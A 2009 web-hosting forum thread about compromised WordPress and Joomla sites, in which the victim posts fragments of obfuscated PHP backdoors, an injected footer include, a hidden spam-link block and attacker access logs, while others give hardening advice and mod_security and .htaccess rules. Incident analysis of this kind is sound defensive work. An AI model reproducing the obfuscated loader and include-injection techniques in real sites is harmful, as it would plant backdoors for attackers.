Results 1 to 25 of 61
-
07-11-2009, 01:18 PM #1Junior Guru Wannabe
- Join Date
- Oct 2006
- Location
- Guanajuato
- Posts
- 35
Wordpress and Joomla sites hacked
First, I installed "integrit" on my server last month, and set up a cron job to run it every night. It was because if integrit that I spotted this.
What happened is, new files were added to the root directories. In one case, "licensel.php". In another, "img20300.php". What they did is take the name of a file that already exists in the directory, such as "license.txt" or "img2030.html", and add an apparently random character to the first part of the file name.
The first part of this new file looks like this:
-----
<?php
# stripScripts: function() {
# getElementsBySelector: Element.Methods.select,
/* */
$OXt7Yd='.......'.'..............................'.'..........M5c0HztdF'.'bO..
.'.'o...RCl6UsIk2TAX7LS';
# element = $(element);
# var results = [];
# window.attachEvent("onunload", destroyCache);
$OXt7Yd.='J4K/PEraeZD......u8i'.'BgpN1xVjy=GYf.9WwmhnQv3.....';
/* }, */
// };
# var nodes = $(element).getElementsByTagName('*');
# element = $(element);
$Ayox7Dy49='Gnjl1urlLzPC1nrl'.'6nCaYletRJ'.'Fex3gC67r2WshCLIif8sC2RZKf9ldKWs0fLz
gC'.'6Bew8s7QLIjQYsgh6nCy8Cr2';
-----
What has also happened is, the footer.php file in some of the Wordpress themes now looks like this:
-----
</div>^M^M<div id="footer">^M <p>© <?php bloginfo('name'); ?> — Copyblogger theme design by x</p>^M <?php wp_footer(); ?>^M</div>^M
^M<?php @include_once ( '/home/' . '' . 'rb' . 'r' . 'ough' .
't/' . '' . 'tobacc' . 'ofreew' . 'or' . 'ld' . '.c' . ''
. 'a' . '/' . '' . 'wp-' . 'ad' . 'min/in' . '' . 'c
' . '' . '' .'ludes' . '/class' . '-ftp' . '-pure' . 'r.' .
'ph' . 'p'); ?>
</body>^M</html>
-----
The beginning of the class-ftp-purer.php file this would have included looks like this:
-----
<?php
# }
/* */
$pw5KfFGg='......................................'.'.....H....YaZv5LweIk'.'..
.n.'.'..W'.'u83m2K9tGRCfpDygNiF7PzoVl..';
/* function _endBlock() */
# * for the trailing context.
/* <label for=" echo $data['print_style']; "> */
// function _deleted($lines)
$pw5KfFGg.='....dEAsM1TcBrQ=j'.'hJb.U0S6XxO+4.....';
// <label for=" echo $data['pullquotes_js']; "> _e('JavaScript:','hybrid'); </
label>
/* */
$LUXX='8JYPhEHPvDoZhJHPaJZB2PQ6GgdQ2'.'JYE1A4ZG'.'La+KYKMYbZRKrHYYLhd8O96'.'G
gdQo'.'JnWaLcH8Lad1A4jhP4E2LfXp';
-
07-11-2009, 01:45 PM #2Disabled
- Join Date
- Jun 2009
- Posts
- 126
Hello,
The main reason for files getting hacked is the default permissions which Joomla gives is 777 which is world writable. I would suggest you give 775 permissions to be on safer side if your PHP is running as DSO. The files only get hacked when password is compromised or insecure permissions is given.
-
07-12-2009, 06:17 AM #3Junior Guru Wannabe
- Join Date
- Apr 2004
- Location
- Germany
- Posts
- 37
@roberb7:
You made a report, but did not ask a question. Is there something you would like to know or did you just post this to inform others?
-
07-12-2009, 07:03 AM #4Disabled
- Join Date
- Apr 2009
- Posts
- 256
Most account compromises are initiated by using a remote command inclusion vulnerability within an existing web application. The issue might be the result of poor or lack of security on the part of one or more user accounts, including shared or weak passwords, insecure permissions on important configuration files ( allowing full read access globally ), and other factors. Please be sure that the following steps are taken to assist in preventing further intrusions:
- Perform a complete audit of your account and applications. Ensure that all content available was made available only by yourself and that any information, including applications login credentials that don't match up are removed.
- Any PHP scripts should be chmod 600 at the very least. Any PHP scripts that contain important information, such as MySQL database connection information should be chmod 400. By Default these files are likely permissioned to 644 which will allow global read access to the file by any user on the system.
- Any applications that are connecting to MySQL database should be doing so with their own individual MySQL database login credentials. Never should a set of credentials be recycled or used elsewhere. You should also avoid using your system username and password as an authorization point for these applications.
- Passwords should be 16+ characters in length and contain a mixed case of letters and numbers and should be modified on a regular basis ( twice monthly at the very least ). A password should never be used for more than one service or provider, ever!
- Any 3rd party or custom PHP, Perl and other web applications should be kept up to date at all times. Subscribe to the software vendors security or update notifications mailing list. If an application is no longer required or in use, remove it completely. Disabling the application is not always a sure fire means of disallowing intrusion attempts.
-
07-12-2009, 09:34 AM #5Junior Guru Wannabe
- Join Date
- May 2009
- Posts
- 31
You can add mod_Security to apache and add the sec2 rules. If you are using cpanel server you can add the rules in
/usr/local/apache/conf/modsec2.conf
Mod_security will prevent further SQL injection and iframe attacks in the server. Also please have a look on all the sites hosted in the server for any possible malware. You can get the mod_sec2 installation script
reference: 403security
---------------------------------------
echo "This will walk you through the installation of Mod_Security"
echo "rules on a cPanel server."
echo "These rules are only compatible with Apache 2+ and Mod_security 2.5+"
echo
echo "Any previous configuration can be overwritten if re-installing."
echo "Please be sure to backup any customizations that have previously been made"
echo
echo "What directory would you like to use to hold the rules?"
echo "Default: /usr/local/apache/conf/modsec_rules"
echo "Enter an aboslute path or press enter to use the default directory."
echo
read RULEDIR
DEFDIR="/usr/local/apache/conf/modsec_rules"
if [ -z "$RULEDIR" ]; then
echo "Nothing was entered. Using default directory $DEFDIR"
RULEDIR="$DEFDIR"
fi
if [ -d $RULEDIR ]; then
echo "Directory already exists. Backing up current directory"
mv $RULEDIR $RULEDIR.`date +%m%d%Y-%H%M`
fi
mkdir $RULEDIR
if [ -d $RULEDIR ]; then
echo "Directory created successfully"
else
echo "Directory creation failed. Check path to ensure it was"
echo "entered properly. Installation aborted"
exit 0
fi
echo "Downloading latest rules from 403Security.org"
wget -O /tmp/modsec_rules.tar.gz http://403security.org/modsec/modsec_rules.tar.gz
echo "Unpacking rules"
tar -xzf /tmp/modsec_rules.tar.gz -C $RULEDIR
chown -R root:root $RULEDIR
echo "Downloading primary mod_security configuration from 403Security.org."
wget -O /tmp/modsec2.conf.gz http://403security.org/modsec/modsec2.conf.gz
wget -O /tmp/modsec2.user.conf.gz http://403security.org/modsec/modsec2.user.conf.gz
echo "Unpacking configuration file"
gunzip /tmp/modsec2.conf.gz
gunzip /tmp/modsec2.user.conf.gz
echo "Backing up current configuration"
cp -f /usr/local/apache/conf/modsec2.conf /usr/local/apache/conf/modsec2.conf.403bak
cp -f /usr/local/apache/conf/modsec2.user.conf /usr/local/apache/conf/modsec2.user.conf.403bak
sed "s%/usr/local/apache/conf/modsec_rules/%$RULEDIR/%g" /tmp/modsec2.conf > /usr/local/apache/conf/modsec2.conf
sed "s%/usr/local/apache/conf/modsec_rules/%$RULEDIR/%g" /tmp/modsec2.user.conf > /usr/local/apache/conf/modsec2.user.conf
echo "Testing configuration to be sure there are no errors"
echo
/usr/local/apache/bin/httpd -t 2>/tmp/apachechk
APACHECHK=`grep "Syntax OK" /tmp/apachechk`
if [[ $APACHECHK = "Syntax OK" ]]; then
echo $APACHECHK
echo "Apache configuration PASSED!"
echo
echo "Would you like to restart Apache to enable the new mod_security rules? (y or n)"
read HTTPDRESTART
if [ $HTTPDRESTART = "y" ]; then
echo "Restarting Apache. (may take up to 2 minutes to restart)"
/scripts/restartsrv_httpd
else
echo "You will need to restart Apache manually, when your ready to enable the new rules"
echo "You can do this by issuing the command, /scripts/restartsrv_httpd"
echo "Press ENTER to continue"
fi
else
echo "Apache Configuration FAILED!"
echo $APACHECHK
echo
echo "Restoring backup configuration file"
cp -f /usr/local/apache/conf/modsec2.conf /usr/local/apache/conf/modsec2.conf.bad
cp -f /usr/local/apache/conf/modsec2.conf.403bak /usr/local/apache/conf/modsec2.conf
echo "Moved failed configuration to /usr/local/apache/conf/modsec2.conf.bad"
echo "Check the error above and resolve any conflicts before attempting the installation again"
fi
echo "Cleaning up"
rm -f /tmp/modsec_rules.tar.gz
rm -f /tmp/modsec2.conf
rm -f /tmp/modsec2.conf.gz
#rm -f /tmp/apachechk
rm -f /tmp/modsec2.user.conf
rm -f /tmp/modsec2.user.conf.gz
echo "Installation complete"
exit 0
-
07-12-2009, 10:50 AM #6Junior Guru
- Join Date
- Mar 2009
- Location
- Chicago, IL
- Posts
- 219
WHy has no one mentioned "update your apps"? That's the first thing you should do and verify before you start applying extra layers of security.
As a side note, the above mod_sec rules isn't necessarily a good idea as it's a blanket ruleset used to cover just about every app out there. Everytime Apache handles a request it has to filter it through all of those rules before fully processing it. Those rulesets contain thousands of different filters for just about everything under the sun. They're meant to be parsed for applications you use and then applied as necessary. Expect a noticeable processor hit by running that script.
-
07-12-2009, 09:04 PM #7Junior Guru Wannabe
- Join Date
- Feb 2008
- Location
- WI
- Posts
- 38
Joomla permissions
Joomla (and Drupal, Wordpress etc.) does not require permissions higher then 755 for directories and 644 for files and does not set permissions higher (it never has) on it's own unless specifically configured by the user to (then only for new files) after install from the configuration screens in the administration backend of Joomla. Joomla takes the domains default settings (which should be 644/755 and except as noted below in a special case) when it installs. This includes later creation of files/directories for new extensions etc. again unless specifically overridden by the Joomla administrator.
It is recommended and constantly preached on the Joomla forums, the docs and faq's to not set permissions higher than the recommended default and if it is absolutely necessary because of server configuration, then to change back to safe permissions after completion of the task on the files/directories that were elevated. One of the main reasons of being hacked when using Joomla are servers running php as an apache module and forcing your client users to change permissions on directories and files to 777 so they can write to them when installing templates, extensions, photo directories, allowing site author users to edit and upload their articles from the front end, or changing configurations in configuration files. These clients (Joomla administrators) rarely will change the permissions back to a safer level.
Many Joomla administrators are inexperienced in security and do not understand the importance of proper permissions for a site. A host site that forces users to set certain directories and files to 777 (as referenced above)in order to have a usable Joomla site is not helping. I also constantly see posts in the Joomla forums of people using way outdated (thus with security holes) Joomla installs. What can be done about forcing Joomla admins to keep Joomla, extensions, templates etc. current I don't really know, probably nothing really effective.
Many people on the Joomla forums (http://forum.joomla.org/) will recommend finding a hosting service or using servers that run php as cgi along with suexec (or similar) and mod_Security so your clients are not forced to set higher permissions and set the server to not allow permissions higher than 755 for directories and 644 for files. I think there is also a security FAQ recommending selecting a hosting site that meets certain requirements and the reasons for those requirements. Few people apparently read the FAQ's on security. and few apparently head the big warnings in the administrator backend of Joomla when permissions on files and directories are not correct.
In a special case I have also found that if you open a downloaded Joomla package on a typical windows machine add a config file, repackage and upload it to the domain, then extract that package on the domain, all directories and files the package contained will be set to 777 permissions, despite having default settings on the domain of 644 files/755 directories. This can happen apparently with any packaged file that was packaged on windows in that the windows permissions are kept when unpackaged on a server. Many Joomla users again will not know this or how to either request changing the permissions from tech support or using putty to make the changes if ssh is even an option for them. A typical Joomla install has at least 57 thousand files and many directories which precludes manually changing permissions if this happens. They just leave it as is; and why not the site is working.
Phil
-
07-12-2009, 09:10 PM #8Aspiring Evangelist
- Join Date
- Jul 2005
- Posts
- 447
-
07-15-2009, 10:34 AM #9Junior Guru Wannabe
- Join Date
- Oct 2006
- Location
- Guanajuato
- Posts
- 35
An update.
1. The culprit is the IP address 208.109.163.59.
2. The vulnerability is in WordPress 2.7.
3. It looks like the bot running on 208.109.163.59 was able to walk right into wp-admin for the site. Here's what I see in access.log:
208.109.163.59 - - [14/Jul/2009:19:47:40 -0700] "POST / HTTP/1.1" 403 520 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3" 208.109.163.59 - - [14/Jul/2009:19:47:40 -0700] "POST /wp-atom.php HTTP/1.1" 403
531 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
208.109.163.59 - - [14/Jul/2009:19:47:40 -0700] "POST /wp-login.php HTTP/1.1" 403 532 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
208.109.163.59 - - [14/Jul/2009:19:47:40 -0700] "GET /wp-login.php HTTP/1.1" 200 2395 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
208.109.163.59 - - [14/Jul/2009:19:47:40 -0700] "POST /wp-login.php HTTP/1.1" 302 1124 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
208.109.163.59 - - [14/Jul/2009:19:47:41 -0700] "GET /wp-admin/ HTTP/1.1" 200 47944 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
208.109.163.59 - - [14/Jul/2009:19:47:43 -0700] "GET /wp-admin/options-misc.php HTTP/1.1" 200 13712 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
208.109.163.59 - - [14/Jul/2009:19:47:44 -0700] "GET /wp-admi/templates.php?file=index.php HTTP/1.1" 404 563 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
208.109.163.59 - - [14/Jul/2009:19:47:44 -0700] "GET /wp-admin/templates.php?file=wp-blog-header.php HTTP/1.1" 404 563 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
The bot was then able to get into the theme editor. I can supply the rest of the access.log entries to anyone who is interested.
-
07-15-2009, 10:48 AM #10WHT Addict
- Join Date
- Apr 2003
- Location
- Earth
- Posts
- 156
Block this user agent with Mod_Sec. Blocks 90% of this crap. I have never had a problem with this rule that I know of.
SecRule HTTP_User-Agent "libwww-perl"
-
07-15-2009, 10:50 AM #11Randy
- Join Date
- Aug 2006
- Location
- Ashburn VA, San Diego CA
- Posts
- 4,615
Hard to believe hosts are forcing their users to use 777 on joomla, but it's true.
Our servers utilize SuPHP, so PHP won't execute unless the folder is 755 and the script is 644.
No permissions are required to be changed for Joomla, WP, or any other CMS to work properly.
In fact, manually changing permissions will more than likely break your installation.
Good mod_sec rules, CSF firewall, suphp, and proper permissions are a MUST. Not only will it make things very much easier for your users, it prevents hacks.Fast Serv Networks, LLC | AS29889 | DDOS Protected | Managed Cloud, Streaming, Dedicated Servers, Colo by-the-U
Since 2003 - Ashburn VA + San Diego CA Datacenters
-
07-15-2009, 11:31 AM #12Junior Guru Wannabe
- Join Date
- Feb 2008
- Location
- WI
- Posts
- 38
libwww-perl - one reason to use or incorporate into the sites .htaccess the included htaccess.txt that comes with all Joomla full install packages. It's not just for seo. This was identified long ago and blocked by Joomlas included htaccess file. The file is not enabled by default as it is meant to be a user option to use it, incorporate it into an existing file or not use it, otherwise it could break a site that depends on the existing htaccess file to work like the user needs it to.
-
07-27-2009, 03:20 PM #13Junior Guru Wannabe
- Join Date
- Oct 2006
- Location
- Guanajuato
- Posts
- 35
Wordpress 2.8.1 site hacked
This time, the culprit is 64.18.153.131.
The immediate symptom is that same as for other Wordpress hacks I've seen; the footer.php file in the template had this stuff added to it:
-----
<p style="display: none"> <a href="http://www.studiotheatreclub.com/images
/img/index.php?p=xanax-no-prescription-overnight-delivery">generic of xanax</a>
<a href="http://www.studiotheatreclub.com/images/img/index.php?p=phentermine-ove
rnight-fedex">phentermine overnight fedex</a>
<a href="http://www.studiotheatreclub.com/images/img/index.php?p=tramaadol">tram
adol apap 37.5 mg</a>
<a href="http://www.studiotheatreclub.com/images/img/index.php?p=buy-xanax-with-
no-prescription">xanax xr 5</a>
-----
The access.log file shows how this got there:
-----
64.18.153.131 - - [27/Jul/2009:03:17:52 -0700] "POST /wp-content/uploads/2009/06/fonction.php?f=/home/rbrought/causs.ca/wp-content/themes/vSlider2/footer.php HTTP/1.1" 200 298 "-" "-"
-----
and, in /wp-content/uploads/2009/06/ , there are two new files that were placed there 24 hours earlier, fonction.php and wp-links.php. fonction.php starts like this:
-----
<?php
$o="QAAAO29zams5Cg0nJztvYmZjOQACO3Nuc2tiOU9ia2toOygA0woYQA07KAHSAJBlaGN+AvA7OHdv
dwoAAA0oKCdVQlFOVE5IST0nI1UAAGJxPSc/NDInIwoNCg10YnMAAFhzbmpiWGtuam5zLzQxNzcAADcu
PAoNYXJpZHNuaGkncmkAAHRrZnRvWHViZC8hI2Z1dS4SwAoNfAihdWIDwC8BIgMAJydwb25rAABiJy9r
----
and wp-links.php starts like this:
-----
<?php
$o="QAEAOzh3b3cKDQAjYnV1aHVYdWIAAHdodXNuaWAvMC48Cg1HdGIAAHNYamZgbmRYdnJoc2J0WHUA
gHJpc25qYi83AfFoZVh0c2Z1JABzLwDRI2oBkSc6J2J/d2toY2IAEy8gJyArJ2puZHVoAZEvLgJSAwLg
SAEBApADI1w2WicsJwDEN1oHYGNiYSAkbmkEAFRGWFVISFMEYHRzCbJrZkkEZAFwW1sBICAoAFBjbnVp
ZgjQWFgAZEFOS0JYWC4uKQGABoEoKARVTlQOAFhQTkkC0ARAADAvV09XWEhUKydADCABYS4nOCc2Jz0n
-----
How did these get there? Searching access.log for the previous day for 64.18.153.131 turned up this:
-----
64.18.153.131 - - [26/Jul/2009:04:09:21 -0700] "GET / HTTP/1.1" 200 79220 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)"
64.18.153.131 - - [26/Jul/2009:04:09:24 -0700] "POST /wp-content/uploads/2009/06/fonction.php?f=%2Fhome%2Frbrought%2Fcauss.ca%2Fwpcontent%2Fthemes%2FvSlider2%2Ffooter.php HTTP/1.1" 200 273 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)"
64.18.153.131 - - [26/Jul/2009:04:09:24 -0700] "GET / HTTP/1.1" 200 79241 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)"
64.18.153.131 - - [26/Jul/2009:04:09:26 -0700] "POST /wp-content/uploads/2009/06/fonction.php?f=%2Fhome%2Frbrought%2Fcauss.ca%2Fwpcontent%2Fthemes%2FvSlider2%2
Ffooter.php HTTP/1.1" 200 457 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)"
-
07-27-2009, 06:27 PM #14Junior Guru Wannabe
- Join Date
- Feb 2008
- Location
- WI
- Posts
- 38
I don't use Wordpress but much of the info below will also apply.
It looks like the uploads directory in Wordpress (/wp-content/uploads/) is the common problem on your site. I may be wrong though, but that is where I would start.
First inspect everything in any uploads directories (this includes all your Wordpress and Joomla installs on the server) and any uploads sub directories. If you can remove (delete) the uploads directories and any subdirectories they contain. Recreate the structure for them. Be sure to set the proper permission of 755 on the directories.
I would be suspect of any files in any directory that contains uploaded files.
If you have not done so, change your directory permissions on all directories to 755 and all files to 644. If 755 prevents uploading files on your particular server setup, then protect the images, media and cache, uploads etc. directories with a blank index.html file and also add an .htaccess file to each directory to prevent execution of any file uploaded or placed in those directories. Examples can be found on the forum. I believe the one below offers adequate protection.
Create a text file named .htaccess and place in directory you want to protect. If your using a windows computer to make the file, you will probably have to name the file htaccess.txt. After uploading the file you can rename it .htaccess
Do not overwrite the htaccess.txt file included with Joomla!!! In fact this default file should be renamed .htaccess and used as it helps protect your Joomla install from common attacks. If Wordpress does not include a similar htaccess file, you can use the one included with Joomla to help protect Wordpress.
Code:# Don't list contents, that would be bad :D IndexIgnore * Options All -Indexes # Secure directory by disabling script execution AddHandler cgi-script .php .php2 .php3 .php4 .php5 .php6 .php7 .php8 .pl .py .jsp .asp .htm .html .shtml .sh .cgi Options -ExecCGI # Don't show this file, that would be bad as well! <Files .htaccess> order allow,deny deny from all </Files>
Also a good idea to enable the htaccess.txt file in the Joomla root by renaming it to .htaccess as it will help protect from some common exploits.
A blank index.html file (not really blank) will prevent listing a directories contents tree if someone types in the url to the directory in their browser. This can be placed in any directory to prevent directory listing from a browser.
Create a new file called index.html
add the following to it in html saying authorization required or create your own message
Code:<html> <style type="text/css"> <!-- .style1 { font-size: 24px; font-weight: bold; } --> </style> <body> <div align="center"><span class="style1">Authorization Required!</span></div> </body> </html>
Also change the login password on your domain, all mysql passwords for the databases, and any ftp passwords on the domain. If anonymous ftp is allowed then disable it.
Also if you have not done so make sure you are using the latest version of Joomla (1.0.15 I think or 1.5.13 depending on the series your using) and Wordpress. This includes any extensions and templates you are using. Do not reuse any files without first inspecting them, to make sure they are clean and are valid (are actually photos for example) including images, photos and configuration files.
Also consider removing all files and directories in your Joomla and Wordpress sites and putting a fresh set of files (fresh download) from the full package install of those programs. In Joomla if you leave the configuration.php file then most of the site configuration will be done. Once the new files are uploaded, remove the install directory. You don't need to replace the database or run the install again, just upload the files. All you need to do extra is fresh installs of any extensions and set those back up.
If any directory needs to be set at a permission looser than 755 or any file needs to be set higher than 644 on your site to enable your sites to work properly for any reason, I suggest you look for a new better host.
For questions or help on Joomla you can go here: http://forum.joomla.org/
Forgot, also change any administrator usernames and passwords on Joomla and Wordpress and check the installs for any user who has administration rights but you did not give them to the person. Make the password something like \b0GIqyz'D that uses alphanumeric and special characters and is at least 10 characters long. In fact all your passwords should be of this type and at least 10 characters long. Use a password manager such as KeePass to make and store them.Last edited by PhilD; 07-27-2009 at 06:36 PM. Reason: Forgot some info
-
07-28-2009, 05:47 AM #15Support Facility
- Join Date
- Jun 2009
- Posts
- 2,335
Make sure you have upgraded your wordpress to the latest version.
Also change the ftp config permission to 644. Change your password after upgrading and also make sure that the hacker does not create another user.
Create a password protect directory for the wp-admin. Delete the unnecessary and disable plugins that has left in the plugins directory.
-
07-28-2009, 10:32 AM #16Junior Guru Wannabe
- Join Date
- Oct 2006
- Location
- Guanajuato
- Posts
- 35
-
07-28-2009, 11:54 AM #17Junior Guru Wannabe
- Join Date
- Apr 2004
- Location
- Germany
- Posts
- 37
Find out how /wp-content/uploads/2009/06/fonction.php got there (search your web server logs for earlier occurences of 'fonction.php'). This script is most likely a PHP shell/defacement script. Its presence is a sympton of another problem, possibly a vulnerability in your copy of Wordpress (which you may or may not have fixed in the meantime).
-
07-28-2009, 11:57 AM #18Junior Guru Wannabe
- Join Date
- Apr 2004
- Location
- Germany
- Posts
- 37
Your subject line of 'Wordpress 2.8.1 site hacked' seems to indicate that you are running the latest version of Wordpress there. Is the first mention of 'fonction.php' in your Apache logs earlier than when you last upgraded Wordpress? Are there any other scripts installed on the same VirtualHost (or within the same security context, for this matter)?
-
07-28-2009, 12:10 PM #19Junior Guru Wannabe
- Join Date
- Feb 2008
- Location
- WI
- Posts
- 38
Does the host have mod_security installed and set up properly on their servers? If not. ask them to set it up.
Mod_security will keep a bunch of morons away from your web space as already stated several times. If the host won't set up mod_security, then find another host. I see hundreds of "hits" in my apache logs for my sites and not one has ever been sucessful. mod_security has stopped everyone of them.
It is always wise to keep upgraded to the latest version of content management systems you use. Also wise to keep upgraded to the latest versions of any extensions the systems use.
I think you are looking at the logs and coming to the wrong conclusions. Anything that is not on a server that utilizes SuPHP, so PHP won't execute unless the folder is 755 and files are 644 and utalizes mod_security and requires anything higher than 755/644 permissions in order to function will be hacked eventually. what your probably seeing is some automated script hitting your site from various proxie addresses. Now that your site has been "found to be an easy hack" word is passed that this is an easy target to hit on.
If you make use of the suggestions posted above by several people including me, your problems are likely to go away permanently. if you do not clean, inspect and implement the security measures than the problems will continue. While all CMS systems from time to time have security problems, the authors do try to keep up with making them more secure as new exploits are found. This is why the first recomendation is always to use the latest version. To keep blaming a CMS for the lack of proper server setup which is your hosts responsibility and site security/updates which is your responsibility is getting nowhere.
Have you actually implemented any of the suggestions posted? You have not actually stated you have done anything other than look at the logs and attempt to block each new proxy address which is futile to say the least.
I provided an .htaccess file that will prevent execution of scripts from directories like the /wp/uploads/ directory. did you install it in the uploads directory?
Unfortunately, in today's web environment the days of just slapping something up on a site without a worry are long gone. The website administrator now has to be pro-active (hate that word ) in site security.
-
07-28-2009, 01:05 PM #20Web Hosting Guru
- Join Date
- Jun 2008
- Location
- India
- Posts
- 266
also try to change your mysql user passwords
Ranjith
Light travels faster thn sound.This is why some people look bright until you actually hear them speak
-
07-29-2009, 02:19 PM #21Junior Guru Wannabe
- Join Date
- Oct 2006
- Location
- Guanajuato
- Posts
- 35
I just discovered that there were two "admin" users in the _users table that I didn't know about.
These users didn't appear in the dashboard list until I removed all records for these two users from the _usermeta table.
It's worth pointing out that the "upgrade to the latest version" advice is useless in this situation, since the _users table is carried over when you upgrade.
So, here's what I suggest; look up the email address of your legitimate "admin" user. Go into mysql, and:
select * from {prefix}_users where user_email='xxx@yyy.com';
If you were hacked the same way that I was, you'll probably get more than one row from this.
Then, you can:
delete from {prefix}_usermeta where user_id=xxx;
After you do this, you should be able to see the "backdoor" user in the dashboard list, and just delete it.
-
07-29-2009, 02:39 PM #22Junior Guru Wannabe
- Join Date
- Oct 2006
- Location
- Guanajuato
- Posts
- 35
-
07-29-2009, 05:29 PM #23Web Hosting Guru
- Join Date
- Jun 2008
- Location
- India
- Posts
- 266
here also...found a couple of sites with same type of attack
Ranjith
Light travels faster thn sound.This is why some people look bright until you actually hear them speak
-
07-29-2009, 07:49 PM #24Retired Moderator
- Join Date
- Feb 2005
- Location
- Australia
- Posts
- 5,849
Good advice. Try to find out how this file was originally placed in your uploads directory. Apart from a vulnerability in Wordpress (including earlier versions) there are other possibilities. Do you have any plugins running that allow users to upload content / avatars / anything at all? Do you have any editor or contributor users who might have weak passwords?
One thing that can be useful for most cms-based sites is to disable PHP and cgi execution in directories used for file uploads (this won't work for template / plugin directories, but you shouldn't ever be allowing user uploads there anyway...). If you have access to set custom configurations (httpd.conf or its included files):
Code:<Directory /path/to/wp-content/uploads> php_admin_flag engine off Options -ExecCGI </Directory>
Chris
"Some problems are so complex that you have to be highly intelligent and well informed just to be undecided about them." - Laurence J. Peter
-
07-29-2009, 07:55 PM #25Junior Guru Wannabe
- Join Date
- Oct 2006
- Location
- Guanajuato
- Posts
- 35
Similar Threads
-
WebHostRadio.com Joomla or Wordpress?
By THG-JD in forum Web Hosting LoungeReplies: 12Last Post: 06-08-2009, 01:15 PM -
Joomla/Wordpress designers-developers
By Kikas in forum Design RequestsReplies: 1Last Post: 02-23-2009, 07:57 PM -
WordPress sites keep getting hacked - Need Server/Security Experts to look into
By gariben in forum Systems Management RequestsReplies: 6Last Post: 08-06-2008, 02:21 PM -
wordpress or Joomla
By bazb in forum Web Design and ContentReplies: 13Last Post: 01-10-2008, 01:45 AM -
joomla wordpress drupal
By aadhunik in forum New MembersReplies: 0Last Post: 01-09-2007, 10:27 PM